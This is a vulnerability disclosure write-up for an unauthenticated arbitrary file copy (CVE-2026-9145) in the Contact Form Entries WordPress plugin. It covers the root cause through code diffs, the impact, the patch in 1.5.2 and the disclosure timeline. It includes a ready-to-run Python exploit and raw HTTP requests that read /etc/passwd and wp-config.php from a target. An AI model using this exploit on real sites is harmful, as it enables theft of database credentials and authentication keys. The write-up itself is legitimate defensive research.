CVE-2026-9145: Contact Form Entries Unauthenticated Arbitrary File Copy to File Read
TL;DR
- I found an unauthenticated arbitrary file copy in Contact Form Entries (Database for Contact Form 7, WPforms, Elementor forms), a WordPress plugin that stores form submissions in the database, and it turns into an arbitrary file read.
- The 1.5.1 release rewrote
create_entry_el()and started trusting an Elementor upload field'sraw_valueas a server file path. - For an optional upload field with no actual file in the request,
raw_valueis just attacker POST data, and it flows into PHP'scopy(). copy()reads any file the web server can access, such as/etc/passwdorwp-config.php, and writes it into a publicly reachable uploads directory.- The directory's
.htaccessonly strips PHP handlers, so a copiedwp-config.phpis served as plain text, leaking the database credentials and authentication keys. - No login is needed, but the site has to run Elementor Pro with at least one optional file upload field.
- The issue affects Contact Form Entries <= 1.5.1, was assigned CVE-2026-9145, and was patched in 1.5.2.
Summary
Contact Form Entries was vulnerable to an unauthenticated arbitrary file copy because its 1.5.1 rewrite of
create_entry_el()passed an Elementor upload field's raw POST value straight to PHP'scopy(). That copies any server-readable file into a public uploads directory, where an attacker can download it, so the copy primitive gives a full file read.
- CVE: CVE-2026-9145
- Product: Database for Contact Form 7, WPforms, Elementor forms (Contact Form Entries)
- Active Installs: 60,000+
- Vulnerability: Unauthenticated Arbitrary File Copy to File Read via Elementor upload field
- Affected Versions: <= 1.5.1
- Fixed In: 1.5.2
- CVSS Severity: 6.5 (medium)
- CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
- Required Privilege: Unauthenticated
- Requires: Elementor Pro active with at least one optional file upload field
- NVD Published: July 2, 2026
The plugin saves form submissions to the database from Contact Form 7, WPforms, Ninja Forms and Elementor. For Elementor forms it hooks create_entry_el() onto Elementor Pro's new_record action. Version 1.5.1 changed that function to read each field's raw_value and treat upload fields as file paths to copy into the plugin's own uploads directory. The raw_value of an upload field is only a real server path when a file was genuinely uploaded. When the form is submitted as a plain urlencoded POST with no file, raw_value is whatever string the attacker put in the request.
So an unauthenticated visitor can send the public form with form_fields[upload]=/var/www/html/wp-config.php, and the plugin copies that file into a web-reachable folder. The folder's .htaccess blocks PHP execution but not direct downloads, so the copy is served as plain text. Nothing here needs an account, only a site running Elementor Pro with an optional upload field.
Introduction
[A]I was patch diffing Contact Form Entries 1.5.0 against 1.5.1. The 1.5.1 changelog only said fixed "elementor form fields" issue., so I went looking at what actually changed in the Elementor code path, and the whole of create_entry_el() had been rewritten.
The old code ran each field through Elementor's get_formatted_data() and dropped upload fields with an if($val!='attached') guard, so the file-copy branch never really fired. The rewrite reads raw_value instead and drops the guard. The next question was whether I could reach copy() without uploading a real file.
Root Cause Analysis
The Rewritten Entry Point
The plugin registers create_entry_el() on Elementor Pro's form hook in the main plugin file.
// contact-form-entries.php
add_action( 'elementor_pro/forms/new_record', array($this,'create_entry_el'), 10 );
Inside create_entry_el(), the 1.5.1 code reads the Elementor field array and collects upload fields for copying.
// contact-form-entries.php (create_entry_el)
$data = $record->get( 'fields' ); // [1] Raw Elementor field array, carries raw_value.
// ...
foreach($data as $v){
if(isset($v['type'])){
if(in_array($v['type'],array('html','step','recaptcha','recaptcha_v3','honeypot'))){
continue;
}
$val=$v['raw_value']; // [2] Unprocessed POST value for this field.
if(in_array($v['type'],array('upload','file'))){
$upload_files[$v['id']]=$val; // [3] Upload value collected as a file path.
}else{
// ...
} } }
if($track ){
$upload_files=$this->copy_files($upload_files); // [4] Collected paths handed to the copy sink.
}
The function pulls the raw field array from $record->get('fields') at [1], then loops over it. For each field it reads raw_value at [2], and for upload or file types it keeps that value as a path to copy at [3]. Those collected paths are then handed to copy_files() at [4], which is where the file copy actually happens.
The change that introduced the vuln is small. Here is the relevant part of the 1.5.0 to 1.5.1 diff.
public function create_entry_el( $record){
- $data=$record->get_formatted_data();
+ // $data=$record->get_formatted_data();
$form_id_p=$this->post('form_id');
$post_id_p=$this->post('post_id');
+ $data = $record->get( 'fields' );
$form_id=$form_id_p.'_'.$post_id_p;
$track=$this->track_form_entry('el',$form_id);
$fields=self::get_form_fields('el_'.$form_id);
$upload_files=$lead=array();
-if(!empty($fields)){
- foreach($fields as $v){
- if(isset($data[$v['label']])){
-$val=$data[$v['label']];
-if(in_array($v['type'],array('upload','file'))){
- if($val!='attached'){
- $upload_files[$v['id']]=$val;
- }
+if(!empty($data)){
+ foreach($data as $v){
+ if(isset($v['type'])){
+ if(in_array($v['type'],array('html','step','recaptcha','recaptcha_v3','honeypot'))){
+ continue;
+ }
+$val=$v['raw_value'];
+if(in_array($v['type'],array('upload','file'))){
+ $upload_files[$v['id']]=$val;
}else{
The old loop iterated the form's declared $fields and read each value from get_formatted_data(), which returns processed values. For an upload field that processed value was the literal string 'attached', and the if($val!='attached') guard threw it away before it could reach copy_files().
The new loop iterates $record->get('fields') and reads raw_value, which is the unprocessed POST value, and there is no 'attached' guard any more. The array('upload','file') type check is identical in both versions, so the only thing that changed is the data feeding it, from a sanitised constant to raw request input.
Why raw_value Is Attacker-Controlled
raw_value comes from Elementor Pro's Form_Record. The record is built from the submitted form data, and set_fields() copies each field straight out of it.
// Elementor Pro: form-record.php (set_fields)
if ( isset( $this->sent_data[ $form_field['custom_id'] ] ) ) {
$field['raw_value'] = $this->sent_data[ $form_field['custom_id'] ]; // [5] raw_value is the submitted value.
// ...
}
$this->sent_data is set in the constructor from the request, $this->sent_data = stripslashes_deep( $sent_data ), where $sent_data is the form_fields array from the POST body. So at [5], raw_value for every field, including upload fields, starts life as the exact string the visitor submitted.
For a genuine upload, that string is replaced later with the real server path of the saved file. The upload field's process_field() only does its work when a file is actually present.
// Elementor Pro: upload.php (process_field)
foreach ( $files[ $id ] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // [6] No file in the request, nothing is recorded.
}
// ... moves the real upload, then calls $record->add_file() ...
}
With no file in the request, process_field() takes the continue at [6] and records nothing. The only thing that would still overwrite raw_value is set_file_fields_values().
// Elementor Pro: upload.php (set_file_fields_values)
$files = $record->get( 'files' );
if ( empty( $files ) ) {
return; // [7] No uploaded files, so raw_value is left as-is.
}
foreach ( $files as $id => $files_array ) {
// ...
$record->update_field( $id, 'raw_value', implode( ' , ', $files_array['path'] ) ); // [8] Only real uploads overwrite raw_value with a path.
}
It returns early at [7] when the record has no files, so raw_value is only overwritten at [8] when a file genuinely came through. On an optional upload field with no file, that means nothing overwrites raw_value, and it still holds whatever the attacker submitted. create_entry_el() reads it straight back and feeds it to copy().
The copy_files() Sink
copy_files() is the function that turns those collected values into real file operations.
// contact-form-entries.php (copy_files)
if(strpos($file,$base_url) === 0){
$file=str_replace($base_url,trim(ABSPATH,'/'),$file); // [9] Only rewrites values that start with the site URL.
}
$file_name_arr=explode('/',$file);
$file_name=$file_name_arr[count($file_name_arr)-1];
$file_name=sanitize_file_name($file_name); // [10] Sanitises the destination name only.
$file_name = wp_unique_filename( $upload_path, $file_name );
$dest=$upload_path.'/'.$file_name;
$copy=copy($file,$dest); // [11] Source path is used exactly as supplied.
The only transform applied to the source $file is the rewrite at [9], and that only fires when the value starts with the site URL, so it does nothing for an absolute path like /etc/passwd. The sanitize_file_name() and wp_unique_filename() calls at [10] shape the destination filename, not the source. So copy() at [11] reads the attacker's absolute path and writes the contents under $upload_path. Because this is a local filesystem copy, it works on any PHP configuration regardless of allow_url_fopen.
The Uploads Directory Is Web-Readable
The destination is the plugin's own upload directory, built in get_upload_dir().
// contact-form-entries.php (get_upload_dir)
$plugin_folder=self::get_upload_folder(); // crm_perks_uploads/<folder_id>
$time = current_time( 'mysql' );
$y = substr( $time, 0, 4 );
$m = substr( $time, 5, 2 );
$folder=$y.'/'.$m;
$upload_path=$upload_dir['basedir'].'/'.$plugin_folder.'/'.$folder;
So a copied file lands at wp-content/uploads/crm_perks_uploads/<folder_id>/YYYY/MM/<filename>. The <folder_id> is stored in the crm_perks_upload_folder option and generated once as a long random string, uniqid().rand(999999,999999999).rand(9999,9999999).
On install the plugin drops an .htaccess into the crm_perks_uploads directory.
# includes/install.php (create_upload_dir)
<Files *>
SetHandler none
SetHandler default-handler
Options -ExecCGI
RemoveHandler .cgi .php .php3 .php4 .php5 .phtml .pl .py .pyc .pyo
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
This .htaccess strips the PHP and CGI handlers, so a copied .php file cannot execute. It does not deny direct HTTP access to the files. A copied wp-config.php is therefore served as plain text, which hands over the database credentials and the WordPress authentication keys and salts. The plugin also writes an index.html into the folder to stop directory listing, so the attacker needs the <folder_id> and the year and month of the copy to fetch the file back.
Impact
An unauthenticated attacker could:
- Copy any file the web server user can read into a public uploads directory.
- Download that copy over HTTP, including PHP source served as plain text.
- Read
wp-config.phpto recover the database credentials and the WordPress authentication keys and salts. - Read
/etc/passwdand similar files to map the host.
The primary impact is confidentiality, the C:H in the published vector. The I:L covers a side effect, that the copy also drops an attacker-named file into the plugin's uploads folder, but that write is confined to that folder and is not a code execution path on its own.
Fetching the copy back needs the <folder_id>, and the attack as a whole needs Elementor Pro with an optional upload field. That is why Wordfence set AC:H and scored it 6.5 (medium). The folder ID does not stay secret for long though. It is stable once generated and shows in full to any administrator who views a form entry with a file attachment. Reading wp-config.php is the high-value outcome, because the authentication keys let an attacker forge valid login cookies and the database credentials allow a direct connection where the database is reachable.
Exploitation
Preconditions
- Contact Form Entries 1.5.1 is installed and active.
- Elementor Pro is active (any version).
- At least one published page has an Elementor form with an optional (not required) file upload field.
- The attacker knows or can discover the plugin's
<folder_id>to retrieve the copied file.
Manual Request
The submission goes to Elementor's own AJAX handler, so the request needs the public Elementor Pro nonce. That nonce is embedded in the page JavaScript (ElementorProFrontendConfig) for every visitor, so it does not imply any authentication. Read the post_id, form_id and the upload field's custom ID from the page source, fill any required text fields so the submission validates, and put the target path in the upload field.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
action=elementor_pro_forms_send_form&post_id=PAGE_ID&form_id=FORM_WIDGET_ID&queried_id=PAGE_ID&form_fields[name]=Test&form_fields[email]=test@test.com&form_fields[UPLOAD_FIELD_ID]=/var/www/html/wp-config.php&_nonce=NONCE_VALUE
The request has to be application/x-www-form-urlencoded rather than multipart/form-data, so that $_FILES stays empty and Elementor's upload handler never overwrites the attacker-controlled raw_value.
Then retrieve the copied file. YYYY/MM is the year and month at the time of submission.
GET /wp-content/uploads/crm_perks_uploads/FOLDER_ID/YYYY/MM/wp-config.php HTTP/1.1
Host: target.example
The form submission may come back as {"success":false} when the form has email or webhook actions configured, which is a common default. That does not stop the exploit. The plugin's create_entry_el() runs on the elementor_pro/forms/new_record action, which Elementor fires after the actions loop and its per-action try/catch block, so the file is copied whether or not the configured actions succeed.
PoC
The script below scrapes the form details from the page, submits the request with a server path in the upload field, and retrieves the copied file when given a folder ID.
#!/usr/bin/env python3
"""
CVE-2026-9145 - Contact Form Entries <= 1.5.1
Unauthenticated arbitrary file copy to file read via an Elementor Pro upload field.
Usage:
# Auto-detect form details from the page:
python3 poc.py --url http://target --page-url http://target/careers/ --file /etc/passwd
# Manual specification with file retrieval:
python3 poc.py --url http://target --post-id 123 --form-id abc123de \\
--upload-field resume --fields name=Test,email=a@b.com \\
--file /var/www/html/wp-config.php --folder-id <upload_folder_random_id>
"""
import argparse
import datetime
import os
import re
import sys
import requests
def scrape_form_details(session, page_url):
"""Auto-detect form details from page HTML."""
resp = session.get(page_url, timeout=15, allow_redirects=True)
if resp.status_code != 200:
return {}
result = {}
m = re.search(
r'ElementorProFrontendConfig\s*=\s*\{.*?"nonce":"([a-f0-9]+)"', resp.text)
if m:
result["nonce"] = m.group(1)
m = re.search(r'name="post_id"\s+value="(\d+)"', resp.text)
if m:
result["post_id"] = int(m.group(1))
m = re.search(r'name="form_id"\s+value="([^"]+)"', resp.text)
if m:
result["form_id"] = m.group(1)
fields = []
for m in re.finditer(r'<input[^>]*name="form_fields\[([^\]]+)\]"[^>]*>', resp.text):
tag = m.group(0)
fields.append({
"id": m.group(1),
"required": 'required' in tag or 'aria-required="true"' in tag,
"upload": 'type="file"' in tag,
})
for m in re.finditer(r'<textarea[^>]*name="form_fields\[([^\]]+)\]"[^>]*>', resp.text):
fields.append({"id": m.group(1), "required": 'required' in m.group(0), "upload": False})
result["fields"] = fields
upload_fields = [f for f in fields if f["upload"]]
if upload_fields:
result["upload_field"] = upload_fields[0]["id"]
return result
def submit_payload(session, url, post_id, form_id, upload_field, target_file, nonce, extra_fields):
"""Submit the Elementor form with an attacker-controlled path in the upload field."""
data = {
"action": "elementor_pro_forms_send_form",
"post_id": str(post_id),
"form_id": form_id,
"queried_id": str(post_id),
"referer_title": "Page",
f"form_fields[{upload_field}]": target_file,
"_nonce": nonce,
}
for field_id, value in extra_fields.items():
data[f"form_fields[{field_id}]"] = value
return session.post(f"{url}/wp-admin/admin-ajax.php", data=data, timeout=15)
def retrieve_file(session, url, folder_id, filename):
"""Retrieve the copied file from the plugin's upload directory."""
now = datetime.datetime.now()
file_url = (
f"{url}/wp-content/uploads/crm_perks_uploads/"
f"{folder_id}/{now.year}/{now.month:02d}/{filename}"
)
print(f"[*] Retrieving: {file_url}")
return session.get(file_url, timeout=15)
def generate_filler(field_id):
"""Plausible filler value so required text fields validate."""
fid = field_id.lower()
if "email" in fid:
return "test@example.com"
if "phone" in fid or "tel" in fid:
return "+1-555-0100"
if "name" in fid:
return "Jane Doe"
if "url" in fid or "website" in fid:
return "https://example.com"
return "test"
def main():
parser = argparse.ArgumentParser(description="Arbitrary File Copy to File Read via Contact Form Entries 1.5.1")
parser.add_argument("--url", required=True, help="Target WordPress base URL")
parser.add_argument("--page-url", help="Full URL of the page with the form (auto-detects form details)")
parser.add_argument("--post-id", type=int, help="Post/page ID")
parser.add_argument("--form-id", help="Elementor form widget ID")
parser.add_argument("--upload-field", help="Custom ID of the upload field")
parser.add_argument("--fields", help="Comma-separated field=value pairs for required fields")
parser.add_argument("--file", default="/etc/passwd", help="Absolute server path to read")
parser.add_argument("--folder-id", help="Plugin upload folder ID for file retrieval")
args = parser.parse_args()
url = args.url.rstrip("/")
session = requests.Session()
session.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/125.0.0.0"
nonce = None
post_id, form_id, upload_field = args.post_id, args.form_id, args.upload_field
extra_fields = {}
if args.page_url:
print(f"[*] Scraping form details from {args.page_url}...")
details = scrape_form_details(session, args.page_url)
if "nonce" in details:
nonce = details["nonce"]
print(f"[+] Nonce: {nonce}")
if "post_id" in details and not post_id:
post_id = details["post_id"]
print(f"[+] Post ID: {post_id}")
if "form_id" in details and not form_id:
form_id = details["form_id"]
print(f"[+] Form ID: {form_id}")
if "upload_field" in details and not upload_field:
upload_field = details["upload_field"]
print(f"[+] Upload field: {upload_field}")
for f in details.get("fields", []):
if f["required"] and not f["upload"] and f["id"] != upload_field:
extra_fields[f["id"]] = generate_filler(f["id"])
if extra_fields:
print(f"[+] Auto-filling required fields: {list(extra_fields.keys())}")
if args.fields:
for pair in args.fields.split(","):
k, v = pair.split("=", 1)
extra_fields[k.strip()] = v.strip()
if not post_id or not form_id or not upload_field:
sys.exit("[-] Missing post-id, form-id or upload-field (use --page-url to auto-detect)")
if not nonce:
sys.exit("[-] Could not extract the Elementor Pro nonce from the page")
target_filename = os.path.basename(args.file)
print(f"[*] Submitting form with {upload_field}={args.file}")
resp = submit_payload(session, url, post_id, form_id, upload_field, args.file, nonce, extra_fields)
try:
data = resp.json()
except ValueError:
sys.exit(f"[-] Non-JSON response: {resp.text[:200]}")
if data.get("success"):
print("[+] Form submitted successfully")
else:
print("[+] Form returned an error (expected if an email/webhook action is configured)")
print(" The file copy hook fires regardless of action errors")
print(f"[+] File should be copied to plugin uploads as: {target_filename}")
if args.folder_id:
resp = retrieve_file(session, url, args.folder_id, target_filename)
if resp.status_code == 200 and resp.text:
print(f"[+] FILE RETRIEVED - {len(resp.text)} bytes")
print("=" * 60)
print(resp.text[:3000])
print("=" * 60)
else:
print(f"[-] Retrieval failed: HTTP {resp.status_code}")
else:
now = datetime.datetime.now()
print("\n[*] File location:")
print(f" {url}/wp-content/uploads/crm_perks_uploads/<folder_id>/{now.year}/{now.month:02d}/{target_filename}")
print(" Use --folder-id to attempt retrieval")
if __name__ == "__main__":
main()
Demo
A run against a local lab retrieves the copied /etc/passwd from the uploads directory.
[*] Scraping form details from http://target.example/careers/...
[+] Nonce: a1b2c3d4e5
[+] Post ID: 42
[+] Form ID: 7f8a3b2e
[+] Upload field: resume
[+] Auto-filling required fields: ['name', 'email']
[*] Submitting form with resume=/etc/passwd
[+] Form submitted successfully
[+] File should be copied to plugin uploads as: passwd
[*] Retrieving: http://target.example/wp-content/uploads/crm_perks_uploads/FOLDER_ID/2026/05/passwd
[+] FILE RETRIEVED - 839 bytes
The copied file is reachable with nothing more than the URL. Opening it in a browser returns /etc/passwd as plain text.

Swapping the target to wp-config.php turns the same primitive into a credential leak. The PoC pulls back the database settings and the WordPress authentication keys and salts.

Patch Diffing
The fix shipped in 1.5.2, released on June 19, 2026. The public 1.5.2 changelog only mentions a separate "Unauthenticated Arbitrary File Deletion" fix, so this file copy bug was patched quietly in the same release. The change is right where the bug was, inside create_entry_el().
- // $raw_files = $record->get( 'files' );
+ $raw_files = $record->get( 'files' );
// ...
$val=$v['raw_value'];
-if(in_array($v['type'],array('upload','file'))){
- $upload_files[$v['id']]=$val;
+if(in_array($v['type'],array('upload','file')) && isset($raw_files[$v['id']]) && isset($raw_files[$v['id']]['path'])){
+ $upload_files[$v['id']]=$raw_files[$v['id']]['path'];
}else{
The patched code stops using raw_value as the source path for upload fields. It reads $record->get('files') into $raw_files, and only collects a file to copy when $raw_files[$v['id']]['path'] exists. That array is populated by Elementor's own upload handler and only holds entries for files that were actually moved out of $_FILES. So the path handed to copy_files() now comes from Elementor's processed upload list rather than the raw POST body.
This closes the gap the vulnerability relied on. For the attacker's no-file POST, $raw_files is empty, so the new isset() checks fail and the upload field is skipped instead of copied. The attacker string in raw_value is never used as a path.
Remediation
Update Contact Form Entries to 1.5.2 or later. Sites still on 1.5.1 with Elementor Pro and an optional file upload field should update straight away.
If updating is not immediately possible, the practical stopgaps are to remove optional file upload fields from Elementor forms, or to deactivate Contact Form Entries on sites that run Elementor Pro with such a field.
Disclosure Timeline
- May 17, 2026: Submitted to the Wordfence bug bounty program. This was the same day 1.5.1, the vulnerable release, went out.
- May 18, 2026: Triage started.
- May 20, 2026: Report validated and CVE-2026-9145 assigned.
- May 21, 2026: $100 bounty awarded.
- June 19, 2026: Contact Form Entries 1.5.2 released, using Elementor's processed file list instead of
raw_value. - July 1, 2026: Published by Wordfence as CVE-2026-9145.
Conclusion
The root cause was a refactor that swapped a sanitised value for a raw one. The old create_entry_el() read processed field data and guarded upload fields against the constant 'attached', so the copy path was effectively dead. The 1.5.1 rewrite read raw_value and dropped the guard, and raw_value is the unprocessed POST data unless a real file was uploaded.
The array('upload','file') check looked the same before and after, which is what makes this easy to miss in review. The grammar of the function did not change, only the source feeding it. copy() was handed a value the code believed was a file path, and on an optional upload field with no file that value is whatever the attacker typed. A function that copies a file off the server has to confirm where that path came from, not assume an upstream component already did.
References
- NVD: CVE-2026-9145
- Wordfence: Database for Contact Form 7, WPforms, Elementor forms <= 1.5.1 Unauthenticated Arbitrary File Copy/Upload
- WordPress.org: Database for Contact Form 7, WPforms, Elementor forms plugin
- Contact Form Entries 1.5.1: contact-form-entries.php
- Contact Form Entries 1.5.2: contact-form-entries.php (fixed)
- Contact Form Entries 1.5.1: includes/install.php